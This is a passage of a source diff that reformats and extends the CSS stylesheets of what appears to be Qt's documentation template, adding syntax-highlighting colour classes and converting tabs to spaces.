+/* end font style elements */
+
+/* global settings*/
+    .header, .footer
+    {
+        display: block;
+        clear: both;
+        overflow: hidden;
+    }
+/* end global settings*/
+
+/* header elements */
+    .header .qtref
+    {
+        color: #00732F;
+        font-weight: bold;
+        font-size: 130%;
+    }
+
+    .header .content
+    {
+        margin-bottom: 0.5em
+    }
+
+    .naviNextPrevious
+    {
+        display: none
+    }
+    .header .breadcrumb
+    {
+        font-size: 90%;
+        padding: 0.5em 0 0.5em 1em;
+        margin: 0;
+        background-color: #fafafa;
+        height: 1.35em;
+        border-bottom: 1px solid #d1d1d1;
+    }
+
+    .header .breadcrumb ul
+    {
+        margin: 0;
+        padding: 0;
+    }
+
+    .header .content
+    {
+        word-wrap: break-word;
+    }
+
+    .header .breadcrumb ul li
+    {
+        float: left;
+        background: url(../images/breadcrumb.png) no-repeat 0 3px;
+        padding-left: 1.5em;
+        margin-left: 1.5em;
+    }
+
+    .header .breadcrumb ul li.last
+    {
+        font-weight: normal;
+    }
+
+    .header .breadcrumb ul li a
+    {
+        color: #00732F;
+    }
+
+    .header .breadcrumb ul li.first
+    {
+        background-image: none;
+        padding-left: 0;
+        margin-left: 0;
+    }
+
+    .header .content ol li {
+        background: none;
+        margin-bottom: 1.0em;
+        margin-left: 1.2em;
+        padding-left: 0
+    }
+
+    .header .content li
+    {
+        background: url(../images/bullet_sq.png) no-repeat 0 5px;
+        margin-bottom: 1em;
+        padding-left: 1.2em;
+    }
+
+/* end header elements */
+
+/* content elements */
+    .content h1
+    {
+        font-weight: bold;
+        font-size: 150%
+    }
+
+    .content h2
+    {
+        font-weight: bold;
+        font-size: 135%;
+        width: 100%;
+    }
+    .content h3
+    {
+        font-weight: bold;
+        font-size: 120%;
+        width: 100%;
+    }
+    .content table p
+    {
+        margin: 0
+    }
+    .content ul
+    {
+        padding-left: 2.5em;
+    }
+    .content li
+    {
+        padding-top: 0.25em;
+        padding-bottom: 0.25em;
+    }
+    .content ul img {
+        vertical-align: middle;
+    }
+
+    .content a:visited
+    {
+        color: #4c0033;
+        text-decoration: none;
+    }
+
+    .content a:visited:hover
+    {
+        color: #4c0033;
+        text-decoration: underline;
+    }
+
+    a:hover
+    {
+        color: #4c0033;
+        text-decoration: underline;
+    }
+    descr p a
+    {
+        text-decoration: underline;
+    }
+
+    .descr p a:visited
+    {
+        text-decoration: underline;
+    }
+
+    .alphaChar{
+        width:95%;
+        background-color:#F6F6F6;
+        border:1px solid #E6E6E6;
+        -moz-border-radius: 7px 7px 7px 7px;
+        border-radius: 7px 7px 7px 7px;
+        -webkit-border-radius: 7px 7px 7px 7px;
+        font-size:12pt;
+        padding-left:10px;
+        margin-top:10px;
+        margin-bottom:10px;
+    }
+    .flowList{
+        /*vertical-align:top;*/
+        /*margin:20px auto;*/
+
+        column-count:3;
+        -webkit-column-count:3;
+        -moz-column-count:3;
+/*
+        column-width:100%;
+        -webkit-column-width:200px;
+        -col-column-width:200px;
+*/
+        column-gap:41px;
+        -webkit-column-gap:41px;
+        -moz-column-gap:41px;
+
+        column-rule: 1px dashed #ccc;
+        -webkit-column-rule: 1px dashed #ccc;
+        -moz-column-rule: 1px dashed #ccc;
+    }
+
+    .flowList dl{
+    }
+    .flowList dd{
+        /*display:inline-block;*/
+        margin-left:10px;
+        min-width:250px;
+        line-height: 1.5;
+        min-width:100%;
+        min-height:15px;
+    }
+
+    .flowList dd a{
+    }
+
+    .content .flowList p{
+        padding:0px;
+    }
+
+    .content .alignedsummary
+    {
+        margin: 15px;
+    }
+
+
+    .qmltype
+    {
+        text-align: center;
+        font-size: 120%;
+    }
+    .qmlreadonly
+    {
+        padding-left: 5px;
+        float: right;
+        color: #254117;
+    }
+
+    .qmldefault
+    {
+        padding-left: 5px;
+        float: right;
+        color: red;
+    }
+
+    .qmldoc
+    {
+    }
+
+    .generic .alphaChar{
+        margin-top:5px;
+    }
+
+    .generic .odd .alphaChar{
+        background-color: #F6F6F6;
+    }
+
+    .generic .even .alphaChar{
+        background-color: #FFFFFF;
+    }
+
+    .memItemRight{
+        padding: 0.25em 1.5em 0.25em 0;
+    }
+    .highlightedCode
+    {
+        margin: 1.0em;
+    }
+    .annotated td {
+        padding: 0.25em 0.5em 0.25em 0.5em;
+    }
+
+    .header .content .toc ul
+    {
+        padding-left: 0px;
+    }
+
+    .content .toc h3 {
+        border-bottom: 0px;
+        margin-top: 0px;
+    }
+
+    .content .toc h3 a:hover {
+        color: #00732F;
+        text-decoration: none;
+    }
+
+    .content .toc .level2
+    {
+        margin-left: 1.5em;
+    }
+
+    .content .toc .level3
+    {
+        margin-left: 3.0em;
+    }
+
+    .content ul li
+    {
+        background: url(../images/bullet_sq.png) no-repeat 0 0.7em;
+        padding-left: 1em
+    }
+
+    .content .toc li
+    {
+        background: url(../images/bullet_dn.png) no-repeat 0 5px;
+        padding-left: 1em
+    }
+
+    .relpage
+    {
+        -moz-border-radius: 7px 7px 7px 7px;
+        -webkit-border-radius: 7px 7px 7px 7px;
+        border-radius: 7px 7px 7px 7px;
+        border: 1px solid #DDDDDD;
+        padding: 25px 25px;
+        clear: both;
+    }
+    .relpage ul
+    {
+        float: none;
+        padding: 1.5em;
+    }
+
+    h3.fn, span.fn
+    {
+        -moz-border-radius:7px 7px 7px 7px;
+        -webkit-border-radius:7px 7px 7px 7px;
+        border-radius:7px 7px 7px 7px;
+        background-color: #F6F6F6;
+        border-width: 1px;
+        border-style: solid;
+        border-color: #E6E6E6;
+        font-weight: bold;
+        word-spacing:3px;
+        padding:3px 5px;
+    }
+
+    .functionIndex {
+        font-size:12pt;
+        word-spacing:10px;
+        margin-bottom:10px;
+        background-color: #F6F6F6;
+        border-width: 1px;
+        border-style: solid;
+        border-color: #E6E6E6;
+        -moz-border-radius: 7px 7px 7px 7px;
+        -webkit-border-radius: 7px 7px 7px 7px;
+        border-radius: 7px 7px 7px 7px;
+        width:100%;
+    }
+
+    .centerAlign
+    {
+        text-align:center;
+    }
+
+    .rightAlign
+    {
+        text-align:right;
+    }
+
+    .leftAlign
+    {
+        text-align:left;
+    }
+
+    .topAlign{
+        vertical-align:top
+    }
+
+    .functionIndex a{
+        display:inline-block;
+    }
+
+/* end content elements */
+/* footer elements */
+
+    .footer
+    {
+        color: #393735;
+        font-size: 0.75em;
+        text-align: center;
+        padding-top: 1.5em;
+        padding-bottom: 1em;
+        background-color: #E6E7E8;
+        margin: 0;
+    }
+    .footer p
+    {
+        margin: 0.25em
+    }
+    .small
+    {
+        font-size: 0.5em;
+    }
+/* end footer elements */
+
+    .item {
+      float: left;
+      position: relative;
+      width: 100%;
+      overflow: hidden;
+    }
+
+
+    .item .primary {
+      margin-right: 220px;
+      position: relative;
+    }
+
+    .item hr {
+      margin-left: -220px;
+    }
+
+    .item .secondary {
+      float: right;
+      width: 200px;
+      position: relative;
+    }
+
+    .item .cols {
+      clear: both;
+      display: block;
+    }
+
+    .item .cols .col {
+      float: left;
+      margin-left: 1.5%;
+    }
+
+    .item .cols .col.first {
+      margin-left: 0;
+    }
+
+    .item .cols.two .col {
+      width: 45%;
+    }
+
+    .item .box {
+      margin: 0 0 10px 0;
+    }
+
+    .item .box h3 {
+      margin: 0 0 10px 0;
+    }
+
+    .cols.unclear {
+        clear:none;
+    }
+}
+
+/* end of screen media */
+
+/* start of print media */
+
+@media print
+{
+    input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft, #feedbackBox, #blurpage, .toc, .breadcrumb, .toolbar, .floatingResult
+    {
+        display: none;
+        background: none;
+    }
+    .content
+    {
+        background: none;
+        display: block;
+        width: 100%; margin: 0; float: none;
+    }
+}
+/* end of print media */
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
index 16bc9ed..df2729c 100755
--- a/doc/src/template/style/style.css
+++ b/doc/src/template/style/style.css
@@ -1,8 +1,8 @@
 @media screen
 {
- 
+
 /* basic elements */
- html
+    html
     {
         color: #000000;
         background: #FFFFFF;
@@ -20,7 +20,7 @@
     fieldset, img
     {
         border: 0;
-		max-width:100%;
+        max-width:100%;
     }
     address, caption, cite, code, dfn, em, strong, th, var, optgroup
     {
@@ -60,10 +60,10 @@
     {
         vertical-align: baseline;
     }
-	tt, .qmlreadonly span, .qmldefault span
-	{
-		word-spacing:5px;
-	}
+    tt, .qmlreadonly span, .qmldefault span
+    {
+        word-spacing:5px;
+    }
     legend
     {
         color: #000000;
@@ -88,7 +88,7 @@
         font-style: italic;
     }
 
-	/* adding Qt theme */	
+    /* adding Qt theme */
     html
     {
       /*  background-color: #e5e5e5;*/
@@ -117,9 +117,9 @@
     pre
     {
         border: 1px solid #DDDDDD;
-		-moz-border-radius: 7px 7px 7px 7px;
-		-webkit-border-radius: 7px 7px 7px 7px;
-		border-radius: 7px 7px 7px 7px;
+        -moz-border-radius: 7px 7px 7px 7px;
+        -webkit-border-radius: 7px 7px 7px 7px;
+        border-radius: 7px 7px 7px 7px;
         margin: 0 20px 10px 10px;
         padding: 20px 15px 20px 20px;
         overflow-x: auto;
@@ -135,14 +135,14 @@
         font-size: 11px;
         margin-bottom: 25px;
     }
-	pre.highlightedCode {
-		display: block;
-		overflow:hidden;
-	}	
+    pre.highlightedCode {
+        display: block;
+        overflow:hidden;
+    }
     thead
     {
         margin-top: 5px;
-		font:600 12px/1.2 Arial;
+        font:600 12px/1.2 Arial;
     }
     th
     {
@@ -155,11 +155,11 @@
         padding: 3px 15px 3px 20px;
     }
     tr.odd td:hover,  tr.even td:hover    {}
-		
-	td.rightAlign
-	{
+
+    td.rightAlign
+    {
         padding: 3px 5px 3px 10px;
-	}
+    }
     table tr.odd
     {
         border-left: 1px solid #E6E6E6;
@@ -176,18 +176,52 @@
     {
      /*   background-color: #E6E6E6;*/ /* disabled until further notice */
     }
-    		
+
+    div.float-left
+    {
+        float: left; margin-right: 2em
+    }
+    div.float-right
+    {
+        float: right; margin-left: 2em
+    }
+
     span.comment
     {
-        color: #8B0000;
-        font-style: italic;
+        color: #008B00;
     }
     span.string, span.char
     {
-        color: #254117;
+        color: #000084;
+    }
+    span.number
+    {
+        color: #a46200;
+    }
+    span.operator
+    {
+        color: #202020;
+    }
+    span.keyword
+    {
+        color: #840000;
+    }
+    span.name
+    {
+        color: black
+    }
+    span.type
+    {
+        font-weight: bold
+    }
+    span.type a:visited
+    {
+        color: #0F5300;
+    }
+    span.preprocessor
+    {
+        color: #404040
     }
-
-
 /* end basic elements */
 
 /* font style elements */
@@ -204,10 +238,15 @@
     {
         font-size: 13px;
     }
-	.red
-	{
-		color:red;
-	}
+    .red
+    {
+        color:red;
+    }
+    .figCaption{
+        color:#363534;
+        font:italic 11px/1.2 Verdana;
+        padding-top:0;
+    }
 /* end font style elements */
 
 /* global settings*/
@@ -231,8 +270,8 @@
         clear: both;
         visibility: hidden;
     }
-	
 /* end global settings*/
+
 /* header elements */
     .header
     {
@@ -266,12 +305,12 @@
         color: #4c0033;
         text-decoration: none;
     }
-     .content a:visited:hover
+    .content a:visited:hover
     {
         color: #4c0033;
         text-decoration: underline;
     }
-	
+
     #nav-topright
     {
         height: 70px;
@@ -317,7 +356,6 @@
         background-position: -2px -117px;
     }
 
-
     #nav-topright li.nav-topright-dev a
     {
         width: 30px;
@@ -392,7 +430,6 @@
         overflow: hidden;
     }
 
-
     .shortCut-topleft-inactive
     {
         padding-left: 3px;
@@ -404,10 +441,10 @@
     {
         font-variant: normal;
     }
-	    .shortCut-topleft-inactive span a:hover,     .shortCut-topleft-active a:hover
-	{
-		text-decoration:none;
-	}
+    .shortCut-topleft-inactive span a:hover,     .shortCut-topleft-active a:hover
+    {
+        text-decoration:none;
+    }
     #shortCut
     {
         padding-top: 10px;
@@ -436,10 +473,8 @@
     {
         color: #44a51c;
     }
+/* end header elements */
 
-	
-	
-/* end header elements */	
 /* content and sidebar elements */
     .wrapper
     {
@@ -453,9 +488,6 @@
         overflow: hidden;
     }
 
-
-
-
     .wrapper .hd span
     {
         height: 15px;
@@ -469,9 +501,6 @@
         position: relative;
     }
 
-
-
-
     .wrapper .ft
     {
         padding-left: 216px;
@@ -480,9 +509,6 @@
         overflow: hidden;
     }
 
-
-
-
     .wrapper .ft span
     {
         height: 15px;
@@ -490,17 +516,13 @@
         background: url(../images/page.png) no-repeat 100% -60px;
         overflow: hidden;
     }
-	.navTop{ 
-	float:right;
-	display:block;
-	padding-right:15px;
-
-
-	}
-	
+    .navTop{
+        float:right;
+        display:block;
+        padding-right:15px;
+    }
+/* end content and sidebar elements */
 
-	
-/* end content and sidebar elements */	
 /* sidebar elements */
     .sidebar
     {
@@ -510,11 +532,6 @@
         font-size: 11px;
     }
 
-
-
-
-
-
     .sidebar .searchlabel
     {
         padding: 0 0 2px 17px;
@@ -529,9 +546,9 @@
     .sidebar .search form
     {
         background: url(../images/sprites-combined.png) no-repeat -6px -348px;
-		height:21px;
-		padding:2px 0 0 5px;
-		width:167px;
+        height:21px;
+        padding:2px 0 0 5px;
+        width:167px;
     }
 
     .sidebar .search form input#pageType
@@ -589,10 +606,10 @@
     .sidebar .box .list
     {
         display: block;
-		max-height:200px;
-		min-height:120px;
-		overflow-y:auto;
-		overflow-x:none;
+        max-height:200px;
+        min-height:120px;
+        overflow-y:auto;
+        overflow-x:none;
     }
     .list li a:hover
     {
@@ -600,9 +617,9 @@
     }
     .sidebar .box ul
     {
-	padding-bottom:5px;
-	padding-left:10px;
-	padding-top:5px;
+        padding-bottom:5px;
+        padding-left:10px;
+        padding-top:5px;
     }
     .sidebar .box ul li
     {
@@ -614,153 +631,150 @@
     {
         background: url(../images/box_bg.png) repeat-x 0 bottom;
     }
-	 .sidebar .box ul li.noMatch
+    .sidebar .box ul li.noMatch
     {
         background: none;
-		color:#FF2A00;
-		font-style:italic;
+        color:#FF2A00;
+        font-style:italic;
     }
-	 .sidebar .box ul li.hit
+    .sidebar .box ul li.hit
     {
         background: none;
-		color:#AAD2F0;
-		font-style:italic;
-    }	
-	.sidebar .search form input.loading
-	{
-			background:url("../images/spinner.gif") no-repeat scroll right center transparent;
-	}
-
-	.sidebar .search form {
-		_height: 23px;
-		_width: 169px;
-	}
-
-	#resultdialog {
-	  display: none;
-	  position: absolute;
-	  *left: 30px;
-	  _left: 0;
-	  *top: 35px;
-	  _top: 30px;
-	  _zoom: 1;
-	  background-color: #fff;
-	  border: 1px solid #666;
-		z-index: 4;
-	  margin-top: 5px;
-	  _margin: 0 0 0 -20px;
-	  padding: 10px;
-	  width: 30%;
-	  _width: 196px;
-	  height: 250px;
-	  overflow: auto;
-		-webkit-border-radius: .5em;
-		-moz-border-radius: .5em;
-		border-radius: .5em;
-		-webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
-		-moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
-		box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
-		font-size: 11px;
-	}
-
-	#resultdialog a
-  {
+        color:#AAD2F0;
+        font-style:italic;
+    }
+    .sidebar .search form input.loading
+    {
+        background:url("../images/spinner.gif") no-repeat scroll right center transparent;
+    }
+
+    .sidebar .search form {
+        _height: 23px;
+        _width: 169px;
+    }
+
+    #resultdialog {
+      display: none;
+      position: absolute;
+      *left: 30px;
+      _left: 0;
+      *top: 35px;
+      _top: 30px;
+      _zoom: 1;
+      background-color: #fff;
+      border: 1px solid #666;
+      z-index: 4;
+      margin-top: 5px;
+      _margin: 0 0 0 -20px;
+      padding: 10px;
+      width: 30%;
+      _width: 196px;
+      height: 250px;
+      overflow: auto;
+      -webkit-border-radius: .5em;
+      -moz-border-radius: .5em;
+      border-radius: .5em;
+      -webkit-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+      -moz-box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+      box-shadow: 0 4px 6px 0 rgba(0,0,0,.2);
+      font-size: 11px;
+    }
+
+    #resultdialog a
+    {
       color: #00732f;
-	}
-
-	#resultdialog.active {
-	  display: block;
-	}
-
-	.narrow #resultdialog {
-	  width: 60%;
-	  _width: 360px;
-	}
-
-	.narrow #resultdialog.active {
-    right: 10px;
-	  *left: auto;
-	  _left: auto;
-    _right: -20px;
-	}
-
-
-	#resultdialog #resultclose {
-	  float: right;
-	}
-
-	#resultdialog p,
-	#resultdialog ul {
-	  clear: both;
-	  margin: 3px 0;
-	}
-
-	p#searchcount span {
-		display: none;
-	}
-
-	p#searchcount.all span#resultcount,
-	p#searchcount.api span#apicount,
-	p#searchcount.article span#articlecount,
-	p#searchcount.example span#examplecount {
-		display: inline;
-	}
-
-	#resultlist li {
-		display: none;
-	}
-
-	#resultlist.api li.api,
-	#resultlist.article li.article,
-	#resultlist.example li.example,
-	#resultlist.all li {
-		display: block;
-	}
-
-	#resultlinks.api a#showapiresults,
-	#resultlinks.api a#showapiresults:hover,
-	#resultlinks.article a#showarticleresults,
-	#resultlinks.article a#showarticleresults:hover,
-	#resultlinks.example a#showexampleresults,
-	#resultlinks.example a#showexampleresults:hover,
-	#resultlinks.all a#showallresults,
-	#resultlinks.all a#showallresults:hover {
-		color: #B0ADAB;
-	}	
-	.floatingResult{
-		z-index:1;
-		position:relative;
-		padding-top:0px;
-		background-color:white;
-		border:solid 1px black;
-		height:250px;
-		width:600px;
-		overflow-x:hidden;
-		overflow-y:auto;
-	}
-
-	.floatingResult:hover{
-		display:block;
-	}
-	.floatingResult:hover{
-	}
-	
+    }
+
+    #resultdialog.active {
+      display: block;
+    }
+
+    .narrow #resultdialog {
+      width: 60%;
+      _width: 360px;
+    }
+
+    .narrow #resultdialog.active {
+      right: 10px;
+      *left: auto;
+      _left: auto;
+      _right: -20px;
+    }
+
+
+    #resultdialog #resultclose {
+      float: right;
+    }
+
+    #resultdialog p,
+    #resultdialog ul {
+      clear: both;
+      margin: 3px 0;
+    }
+
+    p#searchcount span {
+      display: none;
+    }
+
+    p#searchcount.all span#resultcount,
+    p#searchcount.api span#apicount,
+    p#searchcount.article span#articlecount,
+    p#searchcount.example span#examplecount {
+      display: inline;
+    }
+
+    #resultlist li {
+      display: none;
+    }
+
+    #resultlist.api li.api,
+    #resultlist.article li.article,
+    #resultlist.example li.example,
+    #resultlist.all li {
+        display: block;
+    }
+
+    #resultlinks.api a#showapiresults,
+    #resultlinks.api a#showapiresults:hover,
+    #resultlinks.article a#showarticleresults,
+    #resultlinks.article a#showarticleresults:hover,
+    #resultlinks.example a#showexampleresults,
+    #resultlinks.example a#showexampleresults:hover,
+    #resultlinks.all a#showallresults,
+    #resultlinks.all a#showallresults:hover {
+        color: #B0ADAB;
+    }
+    .floatingResult{
+        z-index:1;
+        position:relative;
+        padding-top:0px;
+        background-color:white;
+        border:solid 1px black;
+        height:250px;
+        width:600px;
+        overflow-x:hidden;
+        overflow-y:auto;
+    }
+
+    .floatingResult:hover{
+        display:block;
+    }
+    .floatingResult:hover{
+    }
 /* end sidebar elements */
+
 /* content elements */
     .wrap
     {
         margin: 0 5px 0 208px;
-        overflow: visible; 
+        overflow: visible;
     }
 
-
-
-
     .wrap .toolbar
     {
         background-color: #fafafa;
         border-bottom: 1px solid #d1d1d1;
-        height: 20px; 
+        height: 20px;
         position: relative;
     }
     .wrap .toolbar .toolblock
@@ -842,11 +856,10 @@
         color: #00732F;
     }
 
-
     .wrap .content
     {
         padding: 30px;
-		word-wrap:break-word;
+        word-wrap:break-word;
     }
 
     .wrap .breadcrumb ul
@@ -875,32 +888,29 @@
         margin-left: 0;
     }
 
+    .wrap .content ol li {
+        background:none;
+        font:normal 10pt/1.2 Verdana;
 
-
-
-	.wrap .content ol li {
-	background:none;
-	font:normal 10pt/1.2 Verdana;
-
-	margin-bottom:10px;
-	margin-left:12px;
-	/*list-style-type:disc;*/
-	}
+        margin-bottom:10px;
+        margin-left:12px;
+        /*list-style-type:disc;*/
+    }
 
     .wrap .content ol li
     {
-	background:none;
-    margin-bottom: 10px; 
-	padding-left:0px;
-	margin-left:52px;
+        background:none;
+        margin-bottom: 10px;
+        padding-left:0px;
+        margin-left:52px;
     }
-	
+
     .wrap .content li
     {
         background: url(../images/bullet_sq.png) no-repeat 0 5px;
         font: normal 400 10pt/1.2 Verdana;
-        margin-bottom: 10px; 
-		padding-left:12px;
+        margin-bottom: 10px;
+        padding-left:12px;
     }
 
     .content li:hover  {}
@@ -911,16 +921,16 @@
     }
     .wrap .content h2
     {
-	font:600 16px/1.2 Arial;
-	margin-top:15px;
-	width:100%;	
+        font:600 16px/1.2 Arial;
+        margin-top:15px;
+        width:100%;
     }
     .wrap .content h3
     {
         font: bold 14px/1.2 Arial;
-		font:600 16px/1.2 Arial;
-		margin-top:15px;
-		width:100%;		
+        font:600 16px/1.2 Arial;
+        margin-top:15px;
+        width:100%;
     }
     .wrap .content p
     {
@@ -930,25 +940,25 @@
     .wrap .content table p
     {
         line-height: 20px;
-    }	
+    }
     .wrap .content ul
     {
         padding-left: 25px;
         padding-top: 10px;
     }
-	.wrap .content ul img {
-		vertical-align:middle;
-	}	
+    .wrap .content ul img {
+        vertical-align:middle;
+    }
     a:hover
     {
         color: #4c0033;
         text-decoration: underline;
     }
-	descr p a
+    descr p a
     {
         text-decoration: underline;
     }
-	
+
     .descr p a:visited
     {
         text-decoration: underline;
@@ -969,56 +979,56 @@
         color: #00732F;
         text-decoration: underline;
     }
-	.alphaChar{
-	width:95%;
-	background-color:#F6F6F6;
-	border:1px solid #E6E6E6;
-	-moz-border-radius: 7px 7px 7px 7px;
-	border-radius: 7px 7px 7px 7px;
-	-webkit-border-radius: 7px 7px 7px 7px;
-	font-size:12pt;
-	padding-left:10px;
-	margin-top:10px;
-	margin-bottom:10px;
-	}
-	.flowList{
-	/*vertical-align:top;*/
-	/*margin:20px auto;*/
-	
-	column-count:3; 
-	-webkit-column-count:3;
-	-moz-column-count:3;
+    .alphaChar{
+        width:95%;
+        background-color:#F6F6F6;
+        border:1px solid #E6E6E6;
+        -moz-border-radius: 7px 7px 7px 7px;
+        border-radius: 7px 7px 7px 7px;
+        -webkit-border-radius: 7px 7px 7px 7px;
+        font-size:12pt;
+        padding-left:10px;
+        margin-top:10px;
+        margin-bottom:10px;
+    }
+    .flowList{
+        /*vertical-align:top;*/
+        /*margin:20px auto;*/
+
+        column-count:3;
+        -webkit-column-count:3;
+        -moz-column-count:3;
 /*
-	column-width:100%;
-	-webkit-column-width:200px;
-	-col-column-width:200px;
+        column-width:100%;
+        -webkit-column-width:200px;
+        -col-column-width:200px;
 */
-	column-gap:41px;
-	-webkit-column-gap:41px;
-	-moz-column-gap:41px;
-
-	column-rule: 1px dashed #ccc;
-	-webkit-column-rule: 1px dashed #ccc;
-	-moz-column-rule: 1px dashed #ccc;
-	}	
-
-	.flowList dl{
-	}
-	.flowList dd{
-	/*display:inline-block;*/
-	margin-left:10px;
-	min-width:250px;
-	line-height: 1.5;
-	min-width:100%;
-	min-height:15px;
-	}
-	
-	.flowList dd a{
-	}
-	
-	.wrap .content .flowList p{
-	padding:0px;
-	}
+        column-gap:41px;
+        -webkit-column-gap:41px;
+        -moz-column-gap:41px;
+
+        column-rule: 1px dashed #ccc;
+        -webkit-column-rule: 1px dashed #ccc;
+        -moz-column-rule: 1px dashed #ccc;
+    }
+
+    .flowList dl{
+    }
+    .flowList dd{
+        /*display:inline-block;*/
+        margin-left:10px;
+        min-width:250px;
+        line-height: 1.5;
+        min-width:100%;
+        min-height:15px;
+    }
+
+    .flowList dd a{
+    }
+
+    .wrap .content .flowList p{
+        padding:0px;
+    }
 
     .content .alignedsummary
     {
@@ -1068,7 +1078,7 @@
         background-color: #e6e7e8;
         z-index: 4;
     }
-    #feedcloseX 
+    #feedcloseX
     {
         display: inline;
         padding: 5px 5px 0 0;
@@ -1086,25 +1096,25 @@
         height: 120px;
         margin: 0px 25px 10px 15px;
     }
-	#noteHead
-	{
-		font-weight:bold;
-		padding:10px 10px 10px 20px;
-	}
+    #noteHead
+    {
+        font-weight:bold;
+        padding:10px 10px 10px 20px;
+    }
     #feedsubmit
     {
         display: inline;
         float: right;
         margin: 4px 32px 0 0;
     }
-	
-	.note
-	{
-		font-size:7pt;
-		padding-bottom:3px;
-		padding-left:20px;
-	}
-	
+
+    .note
+    {
+        font-size:7pt;
+        padding-bottom:3px;
+        padding-left:20px;
+    }
+
     #blurpage
     {
         display: none;
@@ -1136,67 +1146,67 @@
         font: bold 12px/1.2 Arial;
     }
 
-	.generic{
-	}
-	.generic td{
-	/*	padding:5px;*/
-	}
-	.generic .alphaChar{
-	margin-top:5px;
-	}
-	
-	.generic .odd .alphaChar{
+    .generic{
+    }
+    .generic td{
+    /* padding:5px;*/
+    }
+    .generic .alphaChar{
+        margin-top:5px;
+    }
+
+    .generic .odd .alphaChar{
         background-color: #F6F6F6;
-	}
-	
-	.generic .even .alphaChar{
+    }
+
+    .generic .even .alphaChar{
         background-color: #FFFFFF;
-	}
-
-	.alignedsummary{}
-	.propsummary{}
-	.memItemLeft{}
-	.memItemRight{
-		padding:3px 15px 3px 0;
-	}
-	.bottomAlign{}
-	.highlightedCode
-	{
-	margin:10px;
-	}
-	.LegaleseLeft{}
-	.valuelist{}
-	.annotated td{
-	        padding: 3px 5px 3px 5px;
-	}
-	.obsolete{}
-	.compat{}
-	.flags{}
-	.qmlsummary{}
-	.qmlitem{}
-	.qmlproto{}
-	.qmlname{}
-	.qmlreadonly{}
-	.qmldefault{}
-	.qmldoc{}
-	.qt-style{}
-	.redFont{}
-	code{}
-	
+    }
+
+    .alignedsummary{}
+    .propsummary{}
+    .memItemLeft{}
+    .memItemRight{
+        padding:3px 15px 3px 0;
+    }
+    .bottomAlign{}
+    .highlightedCode
+    {
+        margin:10px;
+    }
+    .LegaleseLeft{}
+    .valuelist{}
+    .annotated td{
+        padding: 3px 5px 3px 5px;
+    }
+    .obsolete{}
+    .compat{}
+    .flags{}
+    .qmlsummary{}
+    .qmlitem{}
+    .qmlproto{}
+    .qmlname{}
+    .qmlreadonly{}
+    .qmldefault{}
+    .qmldoc{}
+    .qt-style{}
+    .redFont{}
+    code{}
+
     .wrap .content .toc ul
     {
         padding-left: 0px;
     }
 
-	.wrap .content .toc h3{
-	border-bottom:0px;
-	margin-top:0px;
-	}	
-	
-	.wrap .content .toc h3  a:hover{
-	color:#00732F;
-	text-decoration:none;
-	}
+    .wrap .content .toc h3{
+        border-bottom:0px;
+        margin-top:0px;
+    }
+
+    .wrap .content .toc h3  a:hover{
+        color:#00732F;
+        text-decoration:none;
+    }
 
 
     .wrap .content .toc .level2
@@ -1234,60 +1244,58 @@
     }
     h3.fn, span.fn
     {
-		-moz-border-radius:7px 7px 7px 7px;
-		-webkit-border-radius:7px 7px 7px 7px;
-		border-radius:7px 7px 7px 7px;
+        -moz-border-radius:7px 7px 7px 7px;
+        -webkit-border-radius:7px 7px 7px 7px;
+        border-radius:7px 7px 7px 7px;
         background-color: #F6F6F6;
         border-width: 1px;
         border-style: solid;
         border-color: #E6E6E6;
         font-weight: bold;
-		word-spacing:3px;
-		padding:3px 5px;
-    }
-
-	.functionIndex {
-	font-size:12pt;
-	word-spacing:10px;
-	margin-bottom:10px;
-    background-color: #F6F6F6;
-    border-width: 1px;
-    border-style: solid;
-    border-color: #E6E6E6;
-    -moz-border-radius: 7px 7px 7px 7px;
-    -webkit-border-radius: 7px 7px 7px 7px;
-    border-radius: 7px 7px 7px 7px;
-	width:100%;
-	}
-	
-	.centerAlign
-	{
-	text-align:center;	
-	}
-	
-	.rightAlign
-	{
-	text-align:right;	
-	}
-
-	
-	.leftAlign
-	{
-	text-align:left;	
-	}
-
-	.topAlign{
-	vertical-align:top
-	}
-	
-	.functionIndex a{
-	display:inline-block;
-	}
-	
+        word-spacing:3px;
+        padding:3px 5px;
+    }
+
+    .functionIndex {
+        font-size:12pt;
+        word-spacing:10px;
+        margin-bottom:10px;
+        background-color: #F6F6F6;
+        border-width: 1px;
+        border-style: solid;
+        border-color: #E6E6E6;
+        -moz-border-radius: 7px 7px 7px 7px;
+        -webkit-border-radius: 7px 7px 7px 7px;
+        border-radius: 7px 7px 7px 7px;
+        width:100%;
+    }
+
+    .centerAlign
+    {
+        text-align:center;
+    }
+
+    .rightAlign
+    {
+        text-align:right;
+    }
+
+    .leftAlign
+    {
+        text-align:left;
+    }
+
+    .topAlign{
+        vertical-align:top
+    }
+
+    .functionIndex a{
+        display:inline-block;
+    }
 /* end content elements */
-/* footer elements */
 
-   .footer
+/* footer elements */
+    .footer
     {
         min-height: 100px;
         color: #797775;
@@ -1297,20 +1305,17 @@
         background-color: #E6E7E8;
         margin: 0;
     }
-   .small
+    .small
     {
         font: normal 9px/1 Verdana;
-    }	
+    }
 /* end footer elements */
 
-
-
-
     /* start index box */
     .indexbox
     {
         width: 100%;
-		display:inline-block;
+        display:inline-block;
     }
 
     .indexboxcont
@@ -1330,26 +1335,24 @@
     .indexboxcont .section
     {
         display: inline-block;
-        width: 49%; 
+        width: 49%;
         *width:42%;
         _width:42%;
         padding:0 2% 0 1%;
         vertical-align:top;
-
-}
+    }
 
     .indexboxcont .indexIcon
     {
-        width: 11%; 
+        width: 11%;
         *width:18%;
         _width:18%;
         overflow:hidden;
+    }
 
-}
-
-.indexboxcont .section {
-  float: left;
-}
+    .indexboxcont .section {
+      float: left;
+    }
 
     .indexboxcont .section p
     {
@@ -1359,8 +1362,8 @@
     .indexboxcont .sectionlist
     {
         display: inline-block;
-		vertical-align:top;
-		width: 32.5%;
+        vertical-align:top;
+        width: 32.5%;
         padding: 0;
     }
     .indexboxcont .sectionlist ul
@@ -1389,17 +1392,16 @@
         color: #00732f;
         text-decoration: none;
     }
-	
-	.indexbox .indexIcon {
-	width: 11%;
-	}
 
-	
+    .indexbox .indexIcon {
+        width: 11%;
+    }
+
     .indexbox .indexIcon span
     {
